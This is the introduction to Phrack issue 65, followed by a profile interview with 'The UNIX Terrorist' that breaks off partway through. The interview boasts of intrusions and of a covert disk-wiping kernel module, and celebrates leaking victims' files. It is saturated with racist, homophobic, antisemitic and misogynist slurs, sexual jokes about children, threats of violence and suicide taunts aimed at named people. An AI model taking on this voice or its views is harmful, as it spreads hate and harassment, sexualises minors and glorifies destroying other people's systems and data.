==Phrack Inc.== Volume 0x0c, Issue 0x41, Phile #0x01 of 0x0f |=-----------------------------------------------------------------------=| |=--------------------------=[ Introduction ]=---------------------------=| |=-----------------------------------------------------------------------=| |=-------------------=[ By The Circle of Lost Hackers ]=-----------------=| |=-----------------------------------------------------------------------=| Welcome back. Another year has passed, another PHRACK issue is out, PHRACK65. Every time somebody gives me a present I end up thinking to the story of that gift. Where did it come from ? Who worked on it ? Did who worked on it ever thought that his work would have end up in my hands ? What about a PHRACK issue ? PHRACK comes from the underground, the underground worked on it, submitting papers, sending feedback, commenting, spending long night chatting, reading, BREATHING. Does the underground still breath ? Things change, panta rei. As hackers, we have fun. We want fun. Hacking is fun. You know it because you did it, because you spent nights and nights on this fucking fun, going to sleep at 6 a.m. and waking up three hours later to present your face at school or work, with your brain still back home on your encrypted work. Are you still having fun ? Please, don't take it personally, don't over-react. It's just a question. A question that everybody should pose to themselves every single day, no matter what he is doing. FUN is not only PAYBACK. We are human, we love receiving congrats, who doesn't ? We LOVE seeing our little work spread around. We love the clap-clap-clap sound. But does it really boil down only to that ? When you lose fun and start doing things only for the payback, you're dead. Everyone of you who experienced a bad job or a bad exam topic knows the feeling of "wasting time on useless things" that pops out in those moments. But, most of the time, you _HAVE TO_ do it. Well, nobody _HAS TO DO_ hacking. Nobody. If you are only doing that for a payback, than you are a DEAD hacker. If you are only doing that to present a paper to a conference, to see your name somewhere, than you are a DEAD hacker. It will work. You don't need fun to be skilled, you don't even need to be skilled to post or to go to a conference, there are so many around that everybody has some hole to fix. But your touch with the underground is gone. Your responsibility towards friends, ideas, codes will slowly fade away. HACKING is also responsibility and FUN is the only way to not feel its pressure You might disagree, just post on your idea. Maybe it is a too dark scenario, maybe it is just a spring blues, maybe I am just pessimistic, but this is the feeling. This is money taking over everywhere, this is seeing more and more things done only for the payback. This is seeing the underground heart beating slower and slower. PHRACK is just an example of what the underground has been able to do. Of what we can do. But so many hackers out there are capable of disrupting the system without having to read or write a magazine like we do. We are entering into a period where Government and Politics are trying to control technology with supposed-anti-terrorism laws. And they don't lack money or good congrats. So please, please, help this fucking heart beating faster, pushing blood around. Please HAVE FUN. This is the 65th edition of Phrack and we are still alive. Despite that some people say they don't learn anything when reading phrack we still think that Phrack is one of the best underground communication methods. Oh well, for sure, there are other and even better ways. But Phrack is one way and probably not the worse. We have tried to release this issue earlier but editing a magazine (and especially Phrack) is not easy. We have received a lot of positive comments after Phrack release #64 and a lot of people said they will contribute. However we did not see anything coming. Almost all articles from this release are coming from our first circle of friends. Again. This release, despite that it is not the perfect one, tries to bring a good mix between technical articles and what we call spirit articles. Our introducing and concluding articles (Phrack Prophile and The Underground Myth) bring two opposite visions of the hacking underground. Contradiction? No. Freedom of speech. We have kept with our regular columns Phrack World News and International Scenes. We also have decided to publish less exploit articles. However, low-level hackers should find their way easily into this new release. [-]=====================================================================[-] For this issue, we are bringing you the following : 0x01 Introduction TCLH 0x02 Phrack Prophile of The UNIX Terrorist TCLH 0x03 Phrack World News TCLH 0x04 Stealth Hooking: another way to subvert the Windows kernel mxatone ivanlefou 0x05 Clawing holes in NAT with UPnP felinemenace 0x06 The only laws on Internet are assembly and RFCs Julia 0x07 Hacking the System Management Mode BSDaemon, coideloko, d0nand0n 0x08 Mystifying the debugger for ultimate stealthness halfdead 0x09 Australian Restricted Defense Networks and FISSO The Finn 0x0a Phook - The PEB Hooker shearer & dreg 0x0b Hacking the $49 Wifi Finder openschemes 0x0c The art of exploitation: Samba WINS stack overflow max_packetz 0x0d The Underground Myth anonymous 0x0e Hacking your brain: Artificial Conciousness -C 0x0f International scenes various Windows stealth hooking article brings a deep analysis of the XP kernel internals by presenting two sophisticated backdooring techniques. It is generally hard to find valuable reverse engineering articles covering *new* topics and satisfying our standards, but these guys have made a great job. Make sure also to check out the PEB Hooker and the full published source code if M$ software reversing is your thing. Both of those articles will bring you a very good read. Felinemenace is featured again and brings you one of their latest hacks on more recent network protocols. Our second network article digs into FISSO by introducing not-so-public information about australian restricted networks. As we continue to care about cryptography, Phrack #65 includes a useful cryptographic concept of deniable encryption, a particulary relevant topic for hackers. Check out Julia's article for all details. As mentioned, we have tried to bring you the best low-level hacking around. Articles such as Hacking the System Management Mode, Hacking the $49 Wifi Finder, Mystifying the debugger, are not really 0day for those of you already in the underground, but aim to bring you sufficiently material to develop your creativity on that matter. Finally, we could not release Phrack without at least one exploitation article. Max Packets has done the job of describing step by step his Samba WINS exploit. The information contained herein will certainly be enough for those of you guys who want to develop their own. Scene Shoutz: ------------- Again, Phrack #65 could not have happened without so many people. Thanks to the admins, coders, hackers, scripterz. Shouts : mauro, sysk, leandro, assad, kiwicon for an amazing conference with a lot of original topics. As long as you stay a non profit event Phrack will support you! We are also looking forward to the next BACon in september 2008. Shouts to all south american hackers & expats. No shouts: All supposed "Underground people" who asked us million times when Phrack will be out but never contribute to the magazine. If you guys were a little more productive perhaps Phrack would be released more often. Also, we will -not- help poor indonesians bypassing government's p0rn websites filters. Sorry taufiks1428@gmail.com. Lames: * cucamonga (xt@docking.gaykansascity.com) has joined #phrack why hasnt phrack65 been leaked yet probably coz i don't have it probably cause nobody wants to read it Phrack has not been leaked this time...sorry for that... probably because shiftee needs to sharpen his hacking skills instead of posing on IRC. He could also read Phrack, we will not deny his IP address. Any questions, send us an email. Flames: vegas (insecure wannabe), HDM (pwnie coward) Enjoy the magazine! [-]=====================================================================[-] Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge. |=-----------=[ C O N T A C T P H R A C K M A G A Z I N E ]=---------=| Editors : circle[at]phrack{dot}org Submissions : circle[at]phrack{dot}org Commentary : loopback[@]phrack{dot}org Phrack World News : pwn[at]phrack{dot}org |=-----------------------------------------------------------------------=| Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue) -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.5 (GNU/Linux) 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 X8CVYa2m =yjXZ -----END PGP PUBLIC KEY BLOCK----- phrack:~# head -22 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ -EOF- ==Phrack Inc.== Volume 0xc, Issue 0x41, Phile #0x02 of 0x0f |=------------------------=[ PHRACK PROPHILE ON ]=----------------------=| |=----------------------------------------------------------------------=| |=------------------------=[ The UNIX Terrorist ]=----------------------=| |=----------------------------------------------------------------------=| In this issue of Phrack, we have renewed with publishing the prophile of an influencial underground character. The UNIX terrorist was already prophiled two years ago but for some editorial reasons at the time, we were not able to get his prophile published. Now that the Phrack editorial staff has less open conflicts with some part of the scene represented by the_uT, we want to make sure everyone remember his engagement. A lot of people believed he was an extremist blackhat hacker proning non-disclosure during his time of activity. That was true. But he was not just this. I have known the UNIX Terrorist in real life seven years ago. At this time, during his youth, the_uT was a softer hacker. Dont get me wrong, the_uT (or whatever he was calling himself before) always had this characteristic personality that made him an exceptionally creative dude. Later on, after he started body-building (rumors mention that he followed the advices of his idol Mike Shifman), he got that impressive shape that certainly represented better his mind shift towards a more aggressive prophile. The UNIX terrorist is the result of this evolution from a young skilled hacker to a disabused philosopher of the underground. This prophile was realized by The Paper Street Hacker in November 2007 for publication in Phrack Magazine #65 by TCLH. Remember the opinion reflected in this interview only engages the UNIX Terrorist and does not represent the opinion of the Phrack editors. So here it is. |=---=[ Specifications Handle: the_uT AKA: daemon10, yu0, jungjeezy Handle origin: Africa Age of your body: 24 Produced in: The Heart of Darkness, USA Living in: The Paper Street Soap Company, USA Height & Weight: Excessive" / 250lbs Urlz: http://web.textfiles.com/ezines/EL8/ Computers: Anything with a network connection and a working ssh client will do... I'd rather spend my money on clothes & entertainment... less tech garbage also means my bedroom doesn't scare the bitches away Creator of: PROJEKT MAYHEM / Phrack High Council / anti.security.is Admin of: Most of South Korea/China ... Member of: NAMBLA (proud sponsors of TOR!) / ANONYMOUS Projects: M4YH3M Codez: stealthrm, the first blackhat RM(1) utility, designed to rm desktop computers silently. Distributed as a Linux LKM, VFS functions are hijacked so that file indexing and rm'ing can be smuggled and interleaved discretely amongst existing file operations. Additionally, keyboard I/O is monitored to determine the sysadmin's presence. Sporadic file wiping occurs either during heavy PLANNED system hard drive use, or occurs slowly and steadily, with timed delays, while the console user is absent. The primary purpose is to avoid the alarming and sickeningly unexpected HDD "crunching" sound that alerts many would-be "rm -rf /" victims to their impending doom. File removal is scheduled according to a proprietary prioritization algorithm whose factors include criteria such as inode atimes and VFS type. Files are secure DOD-wiped in place, but not unlinked, preserving disk statistics. Active since: 1998 Inactive since: I don't sleep... I metastasize |=---=[ Favorites Actors: Assorted government officials, "security experts," and "spiritual leaders" ... Scientologists Films: Apocalypse Now Redux, Happiness, Gummo, Pi, The Big Lebowski, Bad Boy Bubby, Irreversible Authors: Bret Easton Ellis, Louis-Ferdinand Celine, Hunter S Thompson, William S Burroughs, Will Self, Irvine Welsh, H.L. Mencken, Mark Twain Articles: "The New Hacking Manifesto" - warez mullah, PHC Phrack #62 "lyfestylez of the owned and lamest" - r0b1nleech, ~el8 3 Admins: hendy of team-teso, The Digital Ebola[LoU], pm/sneakerz.org Books: The Rise and Fall of the Third Reich, The Rape of Nanking, The Protocols of the Elders of Zion Novel: Fight Club, 120 Days of Sodom, American Psycho, Journey to the End of the Night, The Picture of Dorian Gray, The Jungle, Fear and Loathing in Las Vegas, Catch 22, A Confederacy of Dunces, The Story of /b/ Meeting: ADMCon / France (2001) Project: The Manhattan Project, The Final Solution Sex: "You're dead if you're homely - my shit's for adults, over eight years old only" Drugs: Beta blockers and dissociatives... just about any substance featured on Erowid or T-Nation... especially modafinil, ayahuasca, ketamine, dinitrophenol, epic stanozololz (Winstrofl), nandrolone, Epi-Pens Music: Revolutionary/violent/mysognist/apocalyptic hip-hop Ex: Jedi Mind Tricks, Necro, Circle of Tyrants, Non Phixion, Leak Bros, Immortal Technique, Q-Unique, Cage, Celph Titled Plastikman Alcohol: Like my women - 15-18 years old, single (malt) and on the fucking rocks Cars: blue dodge viper (vroom vroom!) Foods: Whey protein hydrolysate, Vitargo CGL, BCAA's, l-glutamine, Carlson's Fish Oil Liquid Omega-3 I like: Andrei Chikatilo, 2girls1[cup/finger], Puma Swede, thinspiration, violent sporting (WEC,UFC,Pride), solving intractable problems with violence, achieving EPIC LULZ of unprecedented magnitude I dislike: Fat goths, CISSPs, fat people (in general), women with a BMI over 18, women whose thighs touch when they stand, miniature dogs, people who tailgate or drink beer out of red plastic cups, Basshunter |=---=[ Your current life in a paragraph I'll give you a hint... it doesn't involve getting paid to do computer security research. The only reason I would even consider using a computer anymore would be to meet women of loose moral standards on myspace, or to engage in the wholesale piracy of music and video content, preferrably violent pornography. Or maybe to get directions to a strip club on mapquest... or order various scheduled substances from corrupt Eastern European pharmaceutical manufacturing facilities... In fact, if you're reading my prophile because you just happened still to be reading Phrack in 2008 and stumbled upon it, then I pity you... you fucking closet homosexual. |=---=[ First contact with computers Studying the mysteries of gorillas.bas and nibbles.bas, oldstyle! |=---=[ Youth I was 300 lbs, bespectacled, and acne-stricken. I used to read copies of Dr. Dobb's Journal in P.E. Everybody hated me. Then I underwent an emergency negroplasty and decided to enact my revenge upon the world by inflicting massive verbal trauma through a medium where personal interaction is impossible and everybody feels tougher than they really are. So I installed BitchX and went on EFNET, and the rest, my friend, is history. |=---=[ Passions : What makes you tick I'm distinguished by an acutely defined and unparalleled sense of schadenfreude. Technology is pretty fun too (or at least it was for a while), but what really drove me harder and further was the exciting possibility of using computers to turn the life of a particular fellow human being into a living hell. So no, I wasn't that kid that used to hang out at Radio Shack pulling apart electronic equipment and reassembling it to "see how it works." Shit like that doesn't make you a "hacker" - it makes you a wannabe EE undergrad. Driving people over the precipices of depair and frustration is a great way to pass one's time, but definitely falls short of the pleasure of discrediting or humiliating or otherwise defaming and slandering the ill-earned reputations of the various charlatans and hypocrites in the scene. Publishing the mail spoolz of the wicked, archiving the hard drives of the lame, and rm'ing the weak are all activities I find inspirational. Particularly, I choose to self-medicate my anomie by proving myself smarter and stronger than others. This is the sort of thing with which we'll have to make do until we can one day stalk elk around the ruins of the Rockefeller Center or strip venison in the empty carpool lanes of some abandoned superhighway. For further information about what makes me "tick," please consult Dr. Neal Krawetz's remarkable and highly academic psychological exegesis, fully annotated to official APA formatting standards. |=---=[ Entrance in the underground It all began on EFNET, some time around 1998 (long before they had CHANFIX like dalnet!) in lame and lamer channels like #b4b0 and #feed-the-goats. Historical note: Several incredibly diabolical and motivated individuals from b4b0 would come to rule the virtual entirety of the Interweb with an iron fist for the following decade. Yeah, I started hacking shit virtually exclusively on TCP/IP networks, and started writing exploits long after techniques like heap overflows and return-into-libc were published, so fuck you if you have a problem with the fact that I never scanned shit with toneloc or bruteforced SPRINTNET logins. |=---=[ Which research have you done or which one gave you the most fun? Writing any one of several reliable exploits for intelligently brute-forcing complex remote vulnerabilities, which all made me feel like a hacker from THE MATRIX. Especially writing a universal blind exploit for the Wu-FTPD globbing vuln for versions 2.5.x-2.6.1 (cmdtab power!), and porting the remote client for CORE-SDI's ingenious crc32 deattack backdoor to more exotic operating systems such as Solaris and IRIX (possibly the world's slowest exploit). Also, writing an LKM for dynamically loadable stack/heap execution protection on Linux. |=---=[ How started low-level ? Like most other "underground" groups out there, this one started from the flawed notion that it would somehow be cool to get a group of people together with a webpage and domain name and IRC channel and write a bunch of POC code and publish it to the public and post on sec lists for attention. It was a stupid idea. |=---=[ Personal general opinion about the underground Well, the underground is pretty much dead, but I guess you mostly have the security researchers out there to thank for that one. However, as a delicious proof of the old adage "be careful what you wish for," security professionals have made their own demand scarce. With vulnerabilities so much harder to find, it means that random idiots out there aren't likely to find anything remotely useful by grep'ing for overflows in unsafe C functions. The first sign that things were about to dry out occurred during the format bug craze in 2000, which resulted in the systematic scanning of all varargs style functions that were incorrectly used - the first time an entire class of vulnerabilities has been nearly perfectly eradicated in a body of open source code. Slowly over time, the same thing has happened to most other memory and integer overflows, and casting bugs. What happens as a result? 0day becomes a highly valued commodity. The chance of leakage decreases dramatically because: 1. 0day is much more valuable 2. Few people can find useful vulns, which decreases the amount of sharing. Additionally, smarter people usually find an intrinsically higher value in their own work than people that can't understand the exploits they're using. 3. "When guns are outlawed only outlaws will have guns" - Praise be to Allah and the fact that the divine mathematics of exploit creation are now made sacred by entities like WIPO and the DMCA. For nearly a decade, security companies relied on FUD and fearmongering, heralding the imminent spread of global cyber-warfare and e-terror. A particularly salient example of this idiocy would be the infamous Aris Threatcon, second in its contemptibility only to the Homeland Security Advisory meter. These scare tactics worked for a while, as sec. companies boosted sales of products such as firewalls, packet filters, network scanners, and other useless trash by relentlessly trumpeting the seriousness of various "hacker" threats and by strategically scaring the public with their own original (mostly stolen) advisories. Ironically, they ended up scaring legislators more than the commercial sector, and now people like Dmitry Skylarov are arrested for publishing their "astonishing!" findings. Note to security companies: you're attempting to be both the cause and the cure and we've got use for neither. 4. 0day auctions: Blackhats finally realize that it's a lot more lucrative to sell exploit information to shadowy interest groups. Such sales have the added benefit of preventing information dissemination, because it works against the interests of all parties involved. iDEFENSE, the first and largest name in hacking middlemanry, was forced to purchase exploits from the underground when they realized they lacked the technical skills in their meager R&D labs to find any exploits on their own. But who in their right mind would consider auctioning off vulns at Argentinian prices to a whitehat sweatshop that will just pawn their findings off as their own, and then publish them to Bugtraq - when they can make the same sale to somebody in the underground for 5-10x the cost and rest assured that the vuln will stay alive? Nowadays, it is claimed that the Chinese and even WOMEN are hacking things. Man, am I ever glad I got a chance to experience "the scene" before it degenerated completely. And remember, kids, knowing how to program or wanting really badly to figure out how things work inside doesn't make you a hacker! Hacking boxes makes you a "hacker" ! That's right! Write your local representatives at Wikipedia/urbandictionary/OED and let them know that hackers are people that gain unauthorized access/privileges to computerized systems! Linus Torvalds isn't a hacker! Richard Stallman isn't a hacker! Niels Provos isn't a hacker! Fat/ugly, maybe! Hackers, no! And what is up with the use of the term "cracker"? As far as I'm concerned, that term applies to people that bypass copyright protection mechanisms. Vladimir Levin? HACKER. phiber optik? HACKER. Kevin Mitnick? OK, maybe a gay/bad one, but still WAS a "hacker." Hope that's clear. |=---=[ Memorable Experiences First box I ever owned (dropstat'd son) Watching widespread panic and hysteria grip IRC and various security mailing lists after the publication of ~el8, esp. #2 and #3. The PHC Music & Film Festival, notably Joost Pol rms freebsd.cn The multi-homed attack/rm'ing of efnet irc operator "seiki," which resulted in PHC primacy and alpha male hegemony over #phrack Preparing the memorable vitriolic speech "Wolves Among Us" from scratch, in less than 30 minutes... then attempting to deliver it without inducing fatal hilarity Becoming the Freddy Krueger of the Internet/IRC Celebrating Kwanzaa online in #darknet with assorted South African infosec luminaries Civil rights champions worldwide cheer when a Polish transsexual becomes the most recognizable expert on the vanguard of kernel rootkit (un)detection research Having my first proposed Phrack prophile rejected by humorless German staff The suceessful social engineering of hacker "dvdman" - which resulted in the retrieval of an explicit masturbatory video of aforementioned individual iDEFENSE contributors and their laughably low sell-out prices are revealed in "fake" Phrack Vomiting in my mouth (just a little bit) the first time I walked into the Alexis Park Hotel The communal rm'ing of w00w0's jobe, which became the only known time in history where the same individual was rm'ed concurrently by multiple intruders, who, up until the time of the attack, had no knowledge of each other's presences Logging into my computer, relying only on muscle memory to type, after forgetting the alphabet and being too fucked up to read the letters on my keyboard The look of surprise on the Cheshire Catalyst's face after his password was shouted at him repeatedly, at approximately 80 decibels, while he was entertaining fans stringz attempts to replicate ~el8, fails, and is shamed offline forever securityfocus.com adds thumbnail pictures to its original columns - I finally find out infosec rockstars such as Don Parker, Scott Granneman, and Dr. Neal rawetz really look like! Slackware founder Patrick Volkerding sends an open SOS to the world after forgetting to brush his teeth nearly results in fatal halitosis. Watching the IRC suicide/accidental deaths of rippah/electrosk0t unfold Marty Roesch reaches midlife crisis; denies own obesity and the owning of snort.org |=---=[ Memorable people you have met The Blue Boar, at the very first Phrack High Council Ethics Roundtable The Rain Forest Puppy (sounds like an adorable stuffed animal from Mattel(C) but dresses in shiny reflective raver clothing) Captain Crunch (No thanks du0d I don't want you to open up my chakras with a special "energy massage") Ofir Arkin, world's leading ICMP fingerprinting technologist Honey Dew Moore, child hacker prodigy and world's leading exploit cataloguer Shok, world's foremost Mormon hacker Surprisingly, some actual hackers (various members of MoD), while attending HOPE, the worst con I've ever been to The Death Vegetable, largest carbon footprint of any netizen Packet Fairy |=---=[ Memorable places you have been spaf's mail spool (although I'd give it back in a heartbeat for a chance to take a joyride in his electric wheelchair instead) cvs.openbsd.org s1's famous "Studio 31337" HACKING FORT Rloxley's child porn archive |=---=[ How started PR0J3KT M4YH3M ? The idea obviously isn't something entirely new or original. The earliest known historical precursor to Project Mayhem was Erostratus, who set fire to the Temple of Artemis at Ephesus, one of the Seven Wonders of the Ancient World. Though his motives were questionable (he achieved the act merely because he had no other way of immortalizing his name), the base concept was there: destroying something beautiful just for the hell of it. Note: destruction and vandalism out of ignorance and fear are decidedly less noble in nature. Obviously, there was some inspiration from the novel, Fight Club. As far as scene-related influences, there were some early precursors... the venerable e-zine "CITADEL" and some of the better work of BOW (Brotherhood of Warez). ~el8 was probably the single biggest source of creative energy fueling PR0J3KT M4YH3M, and is still remembered to this day as the greatest, most revolutionary blackhat publication of all time. But what really kick-started PR0J3KT M4YH3M was the apparent lack of success of anti.security.is, a formal anti-disclosure movement constructed from a lucid and cogent document illustrating why it would be better for all parties in the infosec community to stop publishing exploit code. But as the US government is fond of saying of the Taliban, it soon occurred to many of us that these whitehats, like their white-turbaned friends in Afghanistan, "respond only to violence." Enter PR0J3KT M4YH3M, a spawn off PHC's Fight Club division. All in all, PR0J3KT M4YH3M had an impressive run, resulting in the ownage of high profile whitehats including Theo de Raadt, Kevin Mitnick, and Marty Roesch. IRC servers were conquered and their operators were vanquished. Prominent "hacker" magazines were stolen and leaked prematurely. Hard drives were dd'ed, tar'ed, gzipped', gpg'ed, and shipped off to snu.ac.kr. Codes of whitehats were backdoored and published unexpectedly. Violent/offensive/sacrilegious blackhat ASCII art was created. Heap exploitation tutorials were rebranded. Hitlists of the whitehat community were compiled. Info-security professionals were fired. Whitehat books & movies were leaked. g4yh1tl3r lived, died, and was born again. And we all had a lot of fun. |=---=[ Things you are proud of Closing Captains of Crush #2 (multiple times, with finesse) Coining several catch phrases which framed the zeitgeist of the blackhat movement of the early 21st century, including "w00w00 is p00p00" Becoming the first "hacker (over 5 ft. tall) on steroids" Transcending the blood-brain barrier Reading the last 5 issues of Phrack without learning anything new Stealthily avoiding all hidden toilet/shower cams at HAL 2001 Becoming the first hacker to write exploit headers in ebonics Proud author of an exploit that appears bundled with O'Reilly's "Network Security Assessment" book, after infosec genius Chris McNab deletes comments/headers and submits it for inclusion Becoming the first person to rm a box from a cellular device (while at a nightclub ala "Swordfish") Coming from a family free of mental retardation/physical birth defects Demonstrating to the world repeatedly how stupid it is to be a whitehat Triumphing over hackers such as mosthated, missnglnk, gov-boi, ben-z, ytcracker, kf, and joewee to earn the title of "blackest man on efnet" Learning how to krump proficiently after watching only 15 minutes of Rize Serving for several years as the High Chancellor of *.ac.kr and *.ac.jp Ordering the world's only team ~el8 tank top from cafepress.com World's fastest typer on sub-anaesthetic doses of special k Successfully masking my bipolar disorder in order to become a fully integrated and respected member of 'society' Rotating planes of polarized light counterclockwise around various enantiomers |=---=[ Things you are not proud of Ever having released code to the public Ever having posted to a security mailing list in which the intention of my correspondence was less than utter sarcasm, mockery, or malice Failed attempt at rm'ing def-con.org while at Defcon, due to network problems How underappreciated this prophile will inevitably be Not also ordering the "Countdown to rm" ~el8 wall clock from cafepress.com Unknowingly losing an underground ytalk speed typing competition to a rogue TIOCSTI program |=---=[ Opinion about security conferences There are any number of flawed reasons why people attend/speak at security conferences. If you're looking for recognition or publicity, you're probably better off committing suicide on Youtube (see "Budd Dwyer" Wikipedia for ideas). If you're looking for repulsive female companionship or fellow loser friends to socialize with "IRL," you'll probably save some time and airfare by checking your local Craigslist first. Otherwise, the proof is in the pudding. 10 years ago it would been inconceivable that there would one day be "security conferences" in retard 3rd world shitpile countries like Mexico, Malaysia, and Pakistan. Countries whose only contributions to the progression of the digital age have been the vigorous repeated typing of "jajaja" and "kekeke" and "gf0rce pakistan!!!" in various IRC channels and online message boards. Apparently, high tech vocations have taken over! My suggestion is to stock up on sombreros, Nikes, and taxi cab medallions now before they become relics of the past. |=---=[ Opinion on Phrack Magazine 1985' ? 1995' ? 2005' ? '2007 ? I've always thought this magazine sucked, but in regards to the specifics of the question at hand, it's probably gotten steadily worse over time. OK OK... I'm sure the editorial staff would like me to say something positive here so here's my best attempt: "PHRACK MAGAZINE - Hey, at least it's not 2600!" This will probably be the worst issue yet, but that's fine - I'm just using this prophile as a mouthpiece for my dogma of physical anabolism and moral decay. |=---=[ What you would like to see published in Phrack ? An article on phones! (Not VOIP!) Definitely more mail spools... a renewed focus on homemade improvised explosive devices... maybe even some tutorials on drug trafficking for newbies |=---=[ Shoutouts to specific (group of) peoples Doing (R.I.P.), tr4shc4n m4n, krad, odaymaztr, Funny Bunny, module of rhino9, g4yh1tl3r, drater, the crazy Turk, Rocky the virgin hacker Jesus, zilvio, all my Icelandic friends, sk8, j & r, Hans Reiser (everybody on IRC talks about murder, but nobody actually goes through with it), everybody on asylum & its admin, my old friends from #!!ADM and #!hax, the zoroastrian insomniac prophet & his partner in crime |=---=[ Flames to specific (group of) peoples pm/gaius (hey did you know there's a facebook group for HERT now?!?), hd moore & his ersatzsploit project (we commend you on your entrepreneurial vision of turning your look-mom-i-just-got-owned tcpdump logs into exploits with your own name on them), Richard "Dick Theft" Johnson (1500+ on his SAT; abject failure at real life), The Condor, THE WAREZ D00D (your next ten bag of heroin will be cut with ricin), jobe, Philip Emeagwali (father of the supercomputer/Internet), slashdot, Valdis Kletnieks (if I can't pronounce your name, it's time to kill yourself or go back to dragging a plow in Latvia), "Dr." Neal Krawetz, Stefan Esser (currently being hunted down by European PROJECT MAYHEM operatives with instructions to sever the right hand in accordance with holy e-jihad Shariah), Eric S. Raymond (still piecing back together his ~ from backups after the brutal desecration of his OSI bazaar via CVS 0day), Electronic Souls, hack.co.za, xfocus, nsfocus, Souljah Boy, "Tiger Team", GNU, 